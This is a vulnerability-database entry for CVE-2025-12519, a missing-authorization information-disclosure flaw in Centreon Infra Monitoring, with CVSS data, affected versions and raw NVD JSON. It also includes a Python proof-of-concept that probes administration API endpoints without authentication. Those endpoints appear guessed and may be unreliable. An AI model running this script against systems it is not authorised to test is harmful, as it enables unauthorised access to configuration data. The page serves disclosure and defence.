Security Vulnerability Report
中文
CVE-2025-12519 CVSS 5.3 MEDIUM

CVE-2025-12519

Published: 2026-01-05 11:17:40
Last Modified: 2026-01-26 15:08:32
Source: bd4443e6-1eef-43f3-9886-25fc9ceeaae7

Description

Missing Authorization vulnerability in Centreon Infra Monitoring (Administration parameters API endpoint modules) allows Accessing Functionality Not Properly Constrained by ACLs, resulting in Information Disclosure like downtime or acknowledgement configurations. This issue affects Infra Monitoring: from 25.10.0 before 25.10.2, from 24.10.0 before 24.10.15, from 24.04.0 before 24.04.19.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:* - VULNERABLE
Centreon Infra Monitoring < 24.04.19
Centreon Infra Monitoring 24.04.0 - 24.04.18
Centreon Infra Monitoring < 24.10.15
Centreon Infra Monitoring 24.10.0 - 24.10.14
Centreon Infra Monitoring < 25.10.2
Centreon Infra Monitoring 25.10.0 - 25.10.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-12519 PoC - Missing Authorization in Centreon Infra Monitoring # Target: Centreon versions < 24.04.19, < 24.10.15, < 25.10.2 def exploit_ceonteon_auth_bypass(target_url): """ Exploit for Missing Authorization vulnerability in Centreon This PoC demonstrates accessing Administration parameters API without proper authentication. """ # Target API endpoints that should require authentication api_endpoints = [ "/api/index.php?action=timeline&object=centreon_administration", "/api/index.php?action=downtime&object=centreon_administration", "/api/index.php?action=acknowledgement&object=centreon_administration", "/centreon/api/index.php?action=list&object=centreon_administration" ] results = {} for endpoint in api_endpoints: url = target_url.rstrip('/') + endpoint # Request without authentication headers headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': 'application/json' } try: response = requests.get(url, headers=headers, timeout=10, verify=False) # Check if sensitive information is leaked if response.status_code == 200: # Check for exposed configuration data if 'downtime' in response.text.lower() or 'acknowledgement' in response.text.lower(): results[endpoint] = { 'status': 'VULNERABLE', 'status_code': response.status_code, 'data_leaked': True } else: results[endpoint] = { 'status': 'POTENTIALLY_VULNERABLE', 'status_code': response.status_code } elif response.status_code == 401 or response.status_code == 403: results[endpoint] = { 'status': 'NOT_VULNERABLE', 'status_code': response.status_code } except requests.RequestException as e: results[endpoint] = {'status': 'ERROR', 'message': str(e)} return results if __name__ == "__main__": # Example usage target = "https://target-centreon-server.com" results = exploit_ceonteon_auth_bypass(target) print(json.dumps(results, indent=2))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12519", "sourceIdentifier": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "published": "2026-01-05T11:17:39.830", "lastModified": "2026-01-26T15:08:32.487", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Centreon Infra Monitoring (Administration parameters API endpoint modules) allows Accessing Functionality Not Properly Constrained by ACLs, resulting in Information Disclosure like downtime or acknowledgement configurations. This issue affects Infra Monitoring: from 25.10.0 before 25.10.2, from 24.10.0 before 24.10.15, from 24.04.0 before 24.04.19."}, {"lang": "es", "value": "Vulnerabilidad de Autorización Faltante en Centreon Infra Monitoring (módulos del endpoint API de parámetros de administración) permite Acceder a Funcionalidad No Restringida Adecuadamente por ACLs, resultando en Revelación de Información como configuraciones de tiempo de inactividad o acuse de recibo. Este problema afecta a Infra Monitoring: desde 25.10.0 antes de 25.10.2, desde 24.10.0 antes de 24.10.15, desde 24.04.0 antes de 24.04.19."}], "metrics": {"cvssMetricV31": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.04.0", "versionEndExcluding": "24.04.19", "matchCriteriaId": "440A575D-6C68-4894-A4DB-C62065FE0349"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.10.0", "versionEndExcluding": "24.10.15", "matchCriteriaId": "BE9F2C39-E778-4EFE-8E0B-14D5174A717D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "25.10.0", "versionEndExcluding": "25.10.2", "matchCriteriaId": "1842C772-1AC5-49B3-A209-2B8AD6C31134"}]}]}], "references": [{"url": "https://github.com/centreon/centreon/releases", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Release Notes"]}, {"url": "https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-12519-centreon-web-medium-severity-5359", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Patch", "Vendor Advisory"]}]}}